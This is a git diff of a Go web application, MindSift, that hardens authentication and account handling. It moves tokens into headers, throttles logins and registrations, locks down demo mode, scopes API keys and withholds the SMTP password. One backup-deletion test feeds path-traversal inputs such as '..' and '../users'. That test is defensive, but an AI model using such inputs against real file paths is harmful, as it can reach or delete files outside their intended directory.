@@ -62,7 +62,8 @@ func newTestUser(t *testing.T, store *storage.Store, email string) (*domain.User
|
||||
func openSSE(t *testing.T, ts *httptest.Server, token string) *sseStream {
|
||||
t.Helper()
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, ts.URL+"/api/v1/events?token="+token, nil)
|
||||
req, _ := http.NewRequestWithContext(ctx, http.MethodGet, ts.URL+"/api/v1/events", nil)
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
cancel()
|
||||
@@ -271,8 +272,8 @@ func TestReorderRejectsForeignTasks(t *testing.T) {
|
||||
|
||||
func dialWS(t *testing.T, ts *httptest.Server, token string) *websocket.Conn {
|
||||
t.Helper()
|
||||
url := "ws" + strings.TrimPrefix(ts.URL, "http") + "/api/v1/ws?token=" + token
|
||||
conn, _, err := websocket.DefaultDialer.Dial(url, nil)
|
||||
url := "ws" + strings.TrimPrefix(ts.URL, "http") + "/api/v1/ws"
|
||||
conn, _, err := websocket.DefaultDialer.Dial(url, http.Header{"Authorization": {"Bearer " + token}})
|
||||
if err != nil {
|
||||
t.Fatalf("dial ws: %v", err)
|
||||
}
|
||||
@@ -336,3 +337,20 @@ func TestDocChangesArePushedToTheNoteRoom(t *testing.T) {
|
||||
t.Fatalf("no DOC_SEQ push for the note: %+v", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLogoutEndsLiveStreams(t *testing.T) {
|
||||
srv, _, ts, owner, token := startRealtimeServer(t)
|
||||
st := openSSE(t, ts, token)
|
||||
srv.wsHub.DisconnectUser(owner.ID)
|
||||
deadline := time.After(2 * time.Second)
|
||||
for {
|
||||
select {
|
||||
case _, ok := <-st.events:
|
||||
if !ok {
|
||||
return // stream closed by the server
|
||||
}
|
||||
case <-deadline:
|
||||
t.Fatal("stream still open after DisconnectUser")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestInviteCodeRedeemedOnlyOnce(t *testing.T) {
|
||||
srv, store, _ := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
inv, err := store.CreateUserInvite("", "", "member", "", 7)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !regexp.MustCompile(`^INV-[A-Z2-7]{5}(-[A-Z2-7]{5}){3}$`).MatchString(inv.Code) {
|
||||
t.Fatalf("unexpected invite code format %q", inv.Code)
|
||||
}
|
||||
|
||||
// Two registrations race for the same code: exactly one account
|
||||
var wg sync.WaitGroup
|
||||
codes := make([]int, 2)
|
||||
for i := range codes {
|
||||
wg.Add(1)
|
||||
go func(i int) {
|
||||
defer wg.Done()
|
||||
body := `{"email":"race` + string(rune('a'+i)) + `@example.com","password":"password123","inviteCode":"` + strings.ToLower(inv.Code) + `"}`
|
||||
codes[i] = sessionCall(router, "POST", "/api/v1/auth/register", "", body, "").Code
|
||||
}(i)
|
||||
}
|
||||
wg.Wait()
|
||||
created := 0
|
||||
for _, c := range codes {
|
||||
if c == http.StatusCreated {
|
||||
created++
|
||||
}
|
||||
}
|
||||
if created != 1 {
|
||||
t.Fatalf("want exactly one account, got codes %v", codes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInviteReleasedWhenAccountFails(t *testing.T) {
|
||||
srv, store, _ := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
inv, _ := store.CreateUserInvite("", "", "member", "", 7)
|
||||
_, _ = store.CreateUser("taken@example.com", "hash", "Taken", "member")
|
||||
body := func(email string) string {
|
||||
return `{"email":"` + email + `","password":"password123","inviteCode":"` + inv.Code + `"}`
|
||||
}
|
||||
if rec := sessionCall(router, "POST", "/api/v1/auth/register", "", body("taken@example.com"), ""); rec.Code != http.StatusConflict {
|
||||
t.Fatalf("existing address: want 409, got %d", rec.Code)
|
||||
}
|
||||
if rec := sessionCall(router, "POST", "/api/v1/auth/register", "", body("free@example.com"), ""); rec.Code != http.StatusCreated {
|
||||
t.Fatalf("code must still work after a failed attempt, got %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterThrottledPerAddress(t *testing.T) {
|
||||
srv, _, _ := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
for i := 0; i < limitRegisterPerIP; i++ {
|
||||
rec := sessionCall(router, "POST", "/api/v1/auth/register", "", `{"email":"x@example.com","password":"password123","inviteCode":"INV-NOPE"}`, "")
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Fatalf("attempt %d: want 403, got %d", i+1, rec.Code)
|
||||
}
|
||||
}
|
||||
rec := sessionCall(router, "POST", "/api/v1/auth/register", "", `{"email":"x@example.com","password":"password123","inviteCode":"INV-NOPE"}`, "")
|
||||
if rec.Code != http.StatusTooManyRequests || rec.Header().Get("Retry-After") == "" {
|
||||
t.Fatalf("want 429 after %d attempts, got %d", limitRegisterPerIP, rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestThrottleWindowAndSwitch(t *testing.T) {
|
||||
now := time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC)
|
||||
g := newLoginGuard(true)
|
||||
g.now = func() time.Time { return now }
|
||||
ip := clientIPInfo{ip: "203.0.113.9"}
|
||||
for i := 0; i < 3; i++ {
|
||||
if g.throttle("forgot", ip, 3) != 0 {
|
||||
t.Fatalf("request %d must pass", i+1)
|
||||
}
|
||||
}
|
||||
if g.throttle("forgot", ip, 3) == 0 {
|
||||
t.Fatal("fourth request must be refused")
|
||||
}
|
||||
if g.throttle("register", ip, 3) != 0 {
|
||||
t.Fatal("other kinds have their own bucket")
|
||||
}
|
||||
if g.throttle("forgot", clientIPInfo{ip: "198.51.100.1"}, 3) != 0 {
|
||||
t.Fatal("other addresses are not affected")
|
||||
}
|
||||
if g.throttle("forgot", clientIPInfo{ip: "172.18.0.2", viaProxyWithoutHeader: true}, 0) != 0 {
|
||||
t.Fatal("unknown visitors are not limited")
|
||||
}
|
||||
now = now.Add(loginLockWindow + time.Minute)
|
||||
if g.throttle("forgot", ip, 3) != 0 {
|
||||
t.Fatal("lock must end after the window")
|
||||
}
|
||||
if off := newLoginGuard(false); off.throttle("forgot", ip, 0) != 0 {
|
||||
t.Fatal("LOGIN_PROTECTION=false switches throttling off")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/sandrodach/mindsift/internal/config"
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
"github.com/sandrodach/mindsift/internal/ws"
|
||||
)
|
||||
|
||||
func TestDemoSendsNothingAndKeepsAccounts(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "demo.db")
|
||||
store, err := storage.NewStore(dbPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer store.Close()
|
||||
if err := store.ResetAndSeedDemo(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
srv := NewServer(&config.Config{DatabasePath: dbPath, JWTSecret: "demo-secret", DemoMode: true}, store, ws.NewHub(), nil)
|
||||
router := srv.Router()
|
||||
token := sessionLogin(t, router, "admin", "admin", "visitor-1")
|
||||
_ = sessionLogin(t, router, "admin", "admin", "visitor-2")
|
||||
|
||||
if err := srv.sendCustomWebhookNotification("https://example.com/hook", "x", "x", "", "", ""); err != errDemoOutgoing {
|
||||
t.Fatalf("webhook sender must refuse in demo, got %v", err)
|
||||
}
|
||||
if err := srv.sendDiscordNotification("https://discord.com/api/webhooks/1/x", "x", "", "", ""); err != errDemoOutgoing {
|
||||
t.Fatalf("discord sender must refuse in demo, got %v", err)
|
||||
}
|
||||
if err := srv.sendEmailNotification("a@example.com", "x", "x"); err != errDemoOutgoing {
|
||||
t.Fatalf("mail sender must refuse in demo, got %v", err)
|
||||
}
|
||||
blocked := []struct{ method, path, body string }{
|
||||
{"POST", "/api/v1/auth/alarms/test", `{"channel":"webhook","target":"https://example.com/hook"}`},
|
||||
{"PUT", "/api/v1/admin/settings", `{"allowPrivateWebhooks":true}`},
|
||||
{"POST", "/api/v1/admin/smtp/test", `{"toEmail":"a@example.com"}`},
|
||||
{"POST", "/api/v1/admin/backups", ``},
|
||||
{"POST", "/api/v1/auth/revoke-all", ``},
|
||||
{"DELETE", "/api/v1/user/account", `{"password":"admin"}`},
|
||||
{"DELETE", "/api/v1/admin/users/" + storage.DemoUserID, ``},
|
||||
{"PATCH", "/api/v1/auth/settings", `{"password":"neuesPasswort1","currentPassword":"admin"}`},
|
||||
}
|
||||
for _, b := range blocked {
|
||||
rec := sessionCall(router, b.method, b.path, token, b.body, "")
|
||||
if rec.Code != http.StatusForbidden || !strings.Contains(rec.Body.String(), "Demo") {
|
||||
t.Fatalf("%s %s: want 403 demo notice, got %d %s", b.method, b.path, rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
// Harmless profile changes still work
|
||||
if rec := sessionCall(router, "PATCH", "/api/v1/auth/settings", token, `{"displayName":"Besucher"}`, ""); rec.Code != http.StatusOK {
|
||||
t.Fatalf("display name in demo: %d", rec.Code)
|
||||
}
|
||||
// Visitors only see their own device, not the others' addresses
|
||||
var list []storage.Session
|
||||
_ = json.Unmarshal(sessionCall(router, "GET", "/api/v1/auth/sessions", token, "", "").Body.Bytes(), &list)
|
||||
if len(list) != 1 || !list[0].Current {
|
||||
t.Fatalf("demo session list must only show the own device, got %+v", list)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSMTPPasswordNeverReturned(t *testing.T) {
|
||||
srv, store, token := setupTestServer(t)
|
||||
router := srv.Router()
|
||||
rec := sessionCall(router, "PUT", "/api/v1/admin/settings", token,
|
||||
`{"sharingMode":"organizations","smtpHost":"mail.example.com","smtpUser":"bot","smtpPass":"geheim123"}`, "")
|
||||
if rec.Code != http.StatusOK || strings.Contains(rec.Body.String(), "geheim123") || !strings.Contains(rec.Body.String(), `"smtpPassSet":true`) {
|
||||
t.Fatalf("save: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if body := sessionCall(router, "GET", "/api/v1/admin/settings", token, "", "").Body.String(); strings.Contains(body, "geheim123") {
|
||||
t.Fatalf("GET leaks the password: %s", body)
|
||||
}
|
||||
// Saving again with the empty field keeps it
|
||||
sessionCall(router, "PUT", "/api/v1/admin/settings", token, `{"sharingMode":"organizations","smtpHost":"mail.example.com","smtpUser":"bot","smtpPass":""}`, "")
|
||||
if sys, _ := store.GetSystemSettings(); sys.SMTPPass != "geheim123" {
|
||||
t.Fatalf("empty field must keep the password, got %q", sys.SMTPPass)
|
||||
}
|
||||
// Without SMTP user the password is dropped
|
||||
sessionCall(router, "PUT", "/api/v1/admin/settings", token, `{"sharingMode":"organizations","smtpHost":"mail.example.com","smtpUser":"","smtpPass":""}`, "")
|
||||
if sys, _ := store.GetSystemSettings(); sys.SMTPPass != "" {
|
||||
t.Fatalf("password without user must be cleared, got %q", sys.SMTPPass)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeletedAccountLosesServerBackups(t *testing.T) {
|
||||
srv, store, token := setupTestServer(t)
|
||||
root := srv.backupRoot()
|
||||
gone, _ := newTestUser(t, store, "gone@example.com")
|
||||
stays, _ := newTestUser(t, store, "stays@example.com")
|
||||
for _, id := range []string{gone.ID, stays.ID} {
|
||||
dir := storage.UserBackupDir(root, id)
|
||||
_ = os.MkdirAll(dir, 0o755)
|
||||
_ = os.WriteFile(filepath.Join(dir, "backup.zip"), []byte("x"), 0o600)
|
||||
}
|
||||
if rec := sessionCall(srv.Router(), "DELETE", "/api/v1/admin/users/"+gone.ID, token, "", ""); rec.Code != http.StatusOK {
|
||||
t.Fatalf("delete user: %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if _, err := os.Stat(storage.UserBackupDir(root, gone.ID)); !os.IsNotExist(err) {
|
||||
t.Fatalf("backups of the deleted account must be gone: %v", err)
|
||||
}
|
||||
for _, odd := range []string{"", ".", "/", "..", "../users"} {
|
||||
srv.removeUserBackups(odd)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(storage.UserBackupDir(root, stays.ID), "backup.zip")); err != nil {
|
||||
t.Fatalf("other accounts' backups must stay: %v", err)
|
||||
}
|
||||
}
|
||||
+106
-31
@@ -1,6 +1,7 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io/fs"
|
||||
@@ -28,6 +29,10 @@ type Server struct {
|
||||
|
||||
leases *collab.LeaseManager // block leases and open sessions of notes
|
||||
notifier *collab.Notifier // wakes long-poll requests on note changes
|
||||
|
||||
demo demoState // periodic reset in demo mode (demo.go)
|
||||
streamTickets streamTickets // one-time tickets for WebSocket/SSE (streamticket.go)
|
||||
loginGuard *loginGuard // brute-force protection (loginguard.go)
|
||||
}
|
||||
|
||||
func NewServer(cfg *config.Config, store *storage.Store, wsHub *ws.Hub, staticFS fs.FS) *Server {
|
||||
@@ -39,13 +44,21 @@ func NewServer(cfg *config.Config, store *storage.Store, wsHub *ws.Hub, staticFS
|
||||
leases: collab.NewLeaseManager(nil),
|
||||
notifier: collab.NewNotifier(),
|
||||
}
|
||||
srv.loginGuard = newLoginGuard(!cfg.DisableLoginProtection)
|
||||
wsHub.SetRoomAuthorizer(srv.canJoinRoom)
|
||||
wsHub.SetOriginCheck(srv.streamOriginAllowed)
|
||||
// Next occurrences of repeating tasks appear live on every connected client
|
||||
store.OnTaskCreated = func(th *domain.Thought) {
|
||||
srv.wsHub.BroadcastToUsers(srv.taskAudience(th), "TASK_CREATED", th)
|
||||
}
|
||||
go srv.startAlarmTicker()
|
||||
go srv.startCompaction()
|
||||
if cfg.DemoMode && cfg.DemoResetMinutes > 0 {
|
||||
go srv.startDemoResetTicker()
|
||||
}
|
||||
if !cfg.DemoMode {
|
||||
go srv.startAlarmTicker() // the demo sends nothing (FLAW-33)
|
||||
go srv.startBackupScheduler()
|
||||
}
|
||||
return srv
|
||||
}
|
||||
|
||||
@@ -69,15 +82,24 @@ func (s *Server) taskAudience(th *domain.Thought) []string {
|
||||
func (s *Server) Router() http.Handler {
|
||||
r := chi.NewRouter()
|
||||
|
||||
r.Use(middleware.RealIP)
|
||||
r.Use(s.clientIPMiddleware)
|
||||
r.Use(s.securityHeaders)
|
||||
r.Use(bodyLimit)
|
||||
r.Use(s.demoResetGate)
|
||||
r.Use(middleware.Recoverer)
|
||||
r.Use(s.apiLoggingMiddleware)
|
||||
// Browsers of other sites may only call the API when no BASE_URL is set (auth runs over the
|
||||
// Authorization header, never cookies, so credentials are not allowed either way)
|
||||
allowedOrigins := []string{"*"}
|
||||
if s.cfg.BaseURLSet {
|
||||
allowedOrigins = []string{strings.TrimRight(s.cfg.BaseURL, "/")}
|
||||
}
|
||||
r.Use(cors.Handler(cors.Options{
|
||||
AllowedOrigins: []string{"*"},
|
||||
AllowedOrigins: allowedOrigins,
|
||||
AllowedMethods: []string{"GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"},
|
||||
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-API-Key"},
|
||||
ExposedHeaders: []string{"Link"},
|
||||
AllowCredentials: true,
|
||||
ExposedHeaders: []string{"Link", "X-Session-Token"},
|
||||
AllowCredentials: false,
|
||||
MaxAge: 300,
|
||||
}))
|
||||
|
||||
@@ -103,19 +125,25 @@ func (s *Server) Router() http.Handler {
|
||||
|
||||
r.Get("/api/v1/auth/me", s.handleMe)
|
||||
r.Post("/api/v1/events/rooms", s.handleSSERooms)
|
||||
r.Post("/api/v1/auth/stream-ticket", s.handleStreamTicket)
|
||||
r.Get("/api/v1/auth/sessions", s.handleListSessions)
|
||||
r.Delete("/api/v1/auth/sessions/{id}", s.notInDemo(s.handleEndSession))
|
||||
r.Post("/api/v1/auth/logout", s.handleLogout)
|
||||
r.Post("/api/v1/auth/revoke-all", s.handleRevokeAllSessions)
|
||||
r.Post("/api/v1/auth/revoke-all", s.notInDemo(s.handleRevokeAllSessions))
|
||||
r.Patch("/api/v1/auth/settings", s.handleUpdateUserSettings)
|
||||
r.Post("/api/v1/auth/alarms/test", s.handleTestUserAlarm)
|
||||
r.Post("/api/v1/auth/alarms/test", s.notInDemo(s.handleTestUserAlarm))
|
||||
r.Get("/api/v1/users/directory", s.handleGetUsersDirectory)
|
||||
r.Get("/api/v1/collaborators", s.handleGetCollaborators)
|
||||
r.Get("/api/v1/stats", s.handleStats)
|
||||
r.Get("/api/v1/search", s.handleSearch)
|
||||
r.Get("/api/v1/export", s.handleExport)
|
||||
r.Get("/api/v1/backups", s.handleListMyBackups)
|
||||
r.Get("/api/v1/backups/{name}", s.handleDownloadMyBackup)
|
||||
r.Post("/api/v1/backups/{name}/restore", s.handleRestoreMyBackup)
|
||||
r.Get("/api/v1/export/markdown", s.handleExportMarkdown)
|
||||
r.Post("/api/v1/import/mindsift", s.handleImportMindSift)
|
||||
r.Delete("/api/v1/user/data", s.handlePurgeOwnData)
|
||||
r.Delete("/api/v1/user/account", s.handleDeleteOwnAccount)
|
||||
r.Delete("/api/v1/user/account", s.notInDemo(s.handleDeleteOwnAccount))
|
||||
r.Post("/api/v1/import/obsidian", s.handleImportObsidian)
|
||||
r.Get("/api/v1/themes", s.handleGetThemes)
|
||||
r.Post("/api/v1/themes", s.handleSaveTheme)
|
||||
@@ -224,10 +252,10 @@ func (s *Server) Router() http.Handler {
|
||||
r.Group(func(r chi.Router) {
|
||||
r.Use(s.staffMiddleware)
|
||||
r.Get("/api/v1/admin/users", s.handleAdminGetUsers)
|
||||
r.Post("/api/v1/admin/users", s.handleAdminCreateUser)
|
||||
r.Patch("/api/v1/admin/users/{id}", s.handleAdminUpdateUser)
|
||||
r.Put("/api/v1/admin/users/{id}/password", s.handleAdminResetPassword)
|
||||
r.Delete("/api/v1/admin/users/{id}", s.handleAdminDeleteUser)
|
||||
r.Post("/api/v1/admin/users", s.notInDemo(s.handleAdminCreateUser))
|
||||
r.Patch("/api/v1/admin/users/{id}", s.notInDemo(s.handleAdminUpdateUser))
|
||||
r.Put("/api/v1/admin/users/{id}/password", s.notInDemo(s.handleAdminResetPassword))
|
||||
r.Delete("/api/v1/admin/users/{id}", s.notInDemo(s.handleAdminDeleteUser))
|
||||
|
||||
r.Get("/api/v1/admin/invites", s.handleAdminGetInvites)
|
||||
r.Post("/api/v1/admin/invites", s.handleAdminCreateInvite)
|
||||
@@ -238,7 +266,10 @@ func (s *Server) Router() http.Handler {
|
||||
r.Group(func(r chi.Router) {
|
||||
r.Use(s.adminMiddleware)
|
||||
r.Get("/api/v1/admin/settings", s.handleAdminGetSettings)
|
||||
r.Put("/api/v1/admin/settings", s.handleAdminUpdateSettings)
|
||||
r.Get("/api/v1/admin/backups", s.handleAdminListBackups)
|
||||
r.Post("/api/v1/admin/backups", s.notInDemo(s.handleAdminRunBackup))
|
||||
r.Get("/api/v1/admin/backups/{name}", s.handleAdminDownloadBackup)
|
||||
r.Put("/api/v1/admin/settings", s.notInDemo(s.handleAdminUpdateSettings))
|
||||
r.Get("/api/v1/admin/settings/sharing-impact", s.handleAdminSharingImpact)
|
||||
|
||||
// Organizations decide who can see whom; only server admins manage them
|
||||
@@ -247,7 +278,7 @@ func (s *Server) Router() http.Handler {
|
||||
r.Put("/api/v1/admin/organizations/{id}", s.handleAdminRenameOrganization)
|
||||
r.Delete("/api/v1/admin/organizations/{id}", s.handleAdminDeleteOrganization)
|
||||
r.Put("/api/v1/admin/users/{id}/organization", s.handleAdminSetUserOrganization)
|
||||
r.Post("/api/v1/admin/smtp/test", s.handleAdminTestSMTP)
|
||||
r.Post("/api/v1/admin/smtp/test", s.notInDemo(s.handleAdminTestSMTP))
|
||||
})
|
||||
})
|
||||
|
||||
@@ -374,34 +405,68 @@ func (s *Server) apiLoggingMiddleware(next http.Handler) http.Handler {
|
||||
|
||||
// authenticateToken resolves a session JWT or an API key (mindsift_sec_…) to an active user. JWTs are
|
||||
// checked against the revocation list and token_version; viaAPIKey tells the caller which it was.
|
||||
func (s *Server) authenticateToken(token string) (user *domain.User, viaAPIKey bool) {
|
||||
// authenticateToken checks a session token or an API key. keyScopes is nil for sessions and the key's
|
||||
// scopes for API keys.
|
||||
func (s *Server) authenticateToken(token string) (user *domain.User, keyScopes []string) {
|
||||
token = strings.TrimSpace(token)
|
||||
if token == "" {
|
||||
return nil, false
|
||||
return nil, nil
|
||||
}
|
||||
if strings.HasPrefix(token, "mindsift_sec_") {
|
||||
u, err := s.store.ValidateAPIKeyAndGetUser(token)
|
||||
u, scopes, err := s.store.ValidateAPIKey(token)
|
||||
if err != nil || u == nil || !u.IsActive {
|
||||
return nil, true
|
||||
return nil, nil
|
||||
}
|
||||
return u, true
|
||||
return u, scopes
|
||||
}
|
||||
claims, err := auth.ValidateToken(s.cfg.JWTSecret, token)
|
||||
if err != nil || claims == nil || s.store.IsTokenRevoked(token) {
|
||||
return nil, false
|
||||
if err != nil || claims == nil {
|
||||
return nil, nil
|
||||
}
|
||||
u, err := s.store.GetUserByID(claims.UserID)
|
||||
if err != nil || u == nil || !u.IsActive {
|
||||
return nil, false
|
||||
return nil, nil
|
||||
}
|
||||
if claims.TokenVersion != 0 && claims.TokenVersion != u.TokenVersion {
|
||||
return nil, false
|
||||
return nil, nil
|
||||
}
|
||||
return u, false
|
||||
// Logged out, ended from the session list or idle for 30 days
|
||||
if !s.store.SessionActive(claims.ID, u.ID) {
|
||||
return nil, nil
|
||||
}
|
||||
return u, nil
|
||||
}
|
||||
|
||||
// apiKeyAllowed: until API keys get scopes, a key has exactly one right – delivering data into MindSift
|
||||
// (POST /api/v1/inbox; /api/v1/webhooks/ingest authenticates on its own). Everything else needs a login.
|
||||
type apiKeyScopesKey struct{}
|
||||
|
||||
// requireDeliveryScope: API keys need the scope for the target they deliver to; sessions may do all.
|
||||
// target: "inbox"/"triage", "task", "list_item".
|
||||
func requireDeliveryScope(w http.ResponseWriter, r *http.Request, target string) bool {
|
||||
scopes, isKey := r.Context().Value(apiKeyScopesKey{}).([]string)
|
||||
if !isKey {
|
||||
return true
|
||||
}
|
||||
need := storage.ScopeTriage
|
||||
switch target {
|
||||
case "task":
|
||||
need = storage.ScopeTask
|
||||
case "list_item":
|
||||
need = storage.ScopeList
|
||||
case "document":
|
||||
need = "" // notes cannot be created with a key
|
||||
}
|
||||
for _, sc := range scopes {
|
||||
if need != "" && sc == need {
|
||||
return true
|
||||
}
|
||||
}
|
||||
writeError(w, http.StatusForbidden, "API-Key besitzt keine Berechtigung für diese Aktion")
|
||||
return false
|
||||
}
|
||||
|
||||
// apiKeyAllowed: an API key only delivers data into MindSift (POST /api/v1/inbox; /api/v1/webhooks/ingest
|
||||
// authenticates on its own); what it may deliver is decided by its scopes (requireDeliveryScope).
|
||||
// Everything else needs a login.
|
||||
func apiKeyAllowed(r *http.Request) bool {
|
||||
return r.Method == http.MethodPost && r.URL.Path == "/api/v1/inbox"
|
||||
}
|
||||
@@ -414,16 +479,26 @@ func (s *Server) authMiddleware(next http.Handler) http.Handler {
|
||||
} else {
|
||||
token = r.Header.Get("X-API-Key")
|
||||
}
|
||||
user, viaAPIKey := s.authenticateToken(token)
|
||||
user, keyScopes := s.authenticateToken(token)
|
||||
if user == nil {
|
||||
writeError(w, http.StatusUnauthorized, "Nicht autorisiert – bitte anmelden")
|
||||
return
|
||||
}
|
||||
if viaAPIKey && !apiKeyAllowed(r) {
|
||||
writeError(w, http.StatusForbidden, "API-Keys dürfen nur Daten einliefern (POST /api/v1/inbox oder /api/v1/webhooks/ingest)")
|
||||
return
|
||||
ctx := auth.WithUserID(r.Context(), user.ID)
|
||||
if keyScopes == nil {
|
||||
if claims, err := auth.ValidateToken(s.cfg.JWTSecret, token); err == nil {
|
||||
ctx = withSession(ctx, claims.ID)
|
||||
s.renewSessionToken(w, user, claims, false)
|
||||
}
|
||||
}
|
||||
next.ServeHTTP(w, r.WithContext(auth.WithUserID(r.Context(), user.ID)))
|
||||
if keyScopes != nil {
|
||||
if !apiKeyAllowed(r) {
|
||||
writeError(w, http.StatusForbidden, "API-Keys dürfen nur Daten einliefern (POST /api/v1/inbox oder /api/v1/webhooks/ingest)")
|
||||
return
|
||||
}
|
||||
ctx = context.WithValue(ctx, apiKeyScopesKey{}, keyScopes)
|
||||
}
|
||||
next.ServeHTTP(w, r.WithContext(ctx))
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
+66
-16
@@ -47,7 +47,7 @@ func setupTestServer(t *testing.T) (*Server, *storage.Store, string) {
|
||||
hub := ws.NewHub()
|
||||
srv := NewServer(cfg, store, hub, nil)
|
||||
|
||||
token, err := auth.GenerateToken(cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
|
||||
token, err := auth.GenerateToken(cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion, testSession(t, store, user.ID))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to generate token: %v", err)
|
||||
}
|
||||
@@ -222,7 +222,7 @@ func TestQuickDumpToTriageAndDirectTargets(t *testing.T) {
|
||||
router := srv.Router()
|
||||
|
||||
// Verify stale token from non-existent user is rejected (401)
|
||||
staleToken, _ := auth.GenerateToken("test-jwt-secret-key", "usr_non_existent", "old@mindsift.local", "Old", 1)
|
||||
staleToken, _ := auth.GenerateToken("test-jwt-secret-key", "usr_non_existent", "old@mindsift.local", "Old", 1, "")
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/auth/me", nil)
|
||||
req.Header.Set("Authorization", "Bearer "+staleToken)
|
||||
rec := httptest.NewRecorder()
|
||||
@@ -553,11 +553,11 @@ func TestSpaceMembersDirectInvitationAPI(t *testing.T) {
|
||||
t.Fatalf("failed to get normal user: %v", err)
|
||||
}
|
||||
|
||||
adminToken, err := auth.GenerateToken(cfg.JWTSecret, adminUser.ID, adminUser.Email, adminUser.DisplayName, adminUser.TokenVersion)
|
||||
adminToken, err := auth.GenerateToken(cfg.JWTSecret, adminUser.ID, adminUser.Email, adminUser.DisplayName, adminUser.TokenVersion, testSession(t, store, adminUser.ID))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to generate token: %v", err)
|
||||
}
|
||||
userToken, err := auth.GenerateToken(cfg.JWTSecret, normalUser.ID, normalUser.Email, normalUser.DisplayName, normalUser.TokenVersion)
|
||||
userToken, err := auth.GenerateToken(cfg.JWTSecret, normalUser.ID, normalUser.Email, normalUser.DisplayName, normalUser.TokenVersion, testSession(t, store, normalUser.ID))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to generate token: %v", err)
|
||||
}
|
||||
@@ -670,7 +670,7 @@ func TestWorkspaceTagsAPI(t *testing.T) {
|
||||
router := srv.Router()
|
||||
|
||||
user, _ := store.CreateUser("api_tag_user@example.com", "hash", "API Tag User", "member")
|
||||
token, _ := auth.GenerateToken(srv.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
|
||||
token, _ := auth.GenerateToken(srv.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion, testSession(t, store, user.ID))
|
||||
|
||||
// Create document with hashtags
|
||||
blocks := []domain.DocumentBlock{
|
||||
@@ -796,7 +796,7 @@ func TestWebhookTriageBadgeAndIngestion(t *testing.T) {
|
||||
_ = json.Unmarshal(rec.Body.Bytes(), &authResp)
|
||||
|
||||
// 2. Create API key for user
|
||||
apiKey, err := store.CreateAPIKey(authResp.User.ID, "Home Assistant Webhook")
|
||||
apiKey, err := store.CreateAPIKey(authResp.User.ID, "Home Assistant Webhook", nil)
|
||||
if err != nil || apiKey == nil || apiKey.RawKey == "" {
|
||||
t.Fatalf("failed to create API key: %v", err)
|
||||
}
|
||||
@@ -891,7 +891,8 @@ func TestSSEGlobalEndpoint(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
req = httptest.NewRequest(http.MethodGet, "/api/v1/events?token="+token, nil).WithContext(ctx)
|
||||
req = httptest.NewRequest(http.MethodGet, "/api/v1/events", nil).WithContext(ctx)
|
||||
req.Header.Set("Authorization", "Bearer "+token)
|
||||
rec = httptest.NewRecorder()
|
||||
|
||||
go func() {
|
||||
@@ -919,7 +920,7 @@ func TestDecoupledFolderSharingAPI(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatalf("failed to create user B: %v", err)
|
||||
}
|
||||
tokenB, err := auth.GenerateToken(srv.cfg.JWTSecret, userB.ID, userB.Email, userB.DisplayName, userB.TokenVersion)
|
||||
tokenB, err := auth.GenerateToken(srv.cfg.JWTSecret, userB.ID, userB.Email, userB.DisplayName, userB.TokenVersion, testSession(t, store, userB.ID))
|
||||
if err != nil {
|
||||
t.Fatalf("failed to generate token B: %v", err)
|
||||
}
|
||||
@@ -1147,7 +1148,8 @@ func TestTokenBlacklistingAndTokenVersionRevocation(t *testing.T) {
|
||||
}
|
||||
|
||||
// Also check authenticateUserFromReq rejects token1
|
||||
req = httptest.NewRequest(http.MethodGet, "/api/v1/ws?token="+token1, nil)
|
||||
req = httptest.NewRequest(http.MethodGet, "/api/v1/ws", nil)
|
||||
req.Header.Set("Authorization", "Bearer "+token1)
|
||||
if uid := srv.authenticateUserFromReq(req); uid != "" {
|
||||
t.Fatalf("authenticateUserFromReq should reject blacklisted token1, got uid %q", uid)
|
||||
}
|
||||
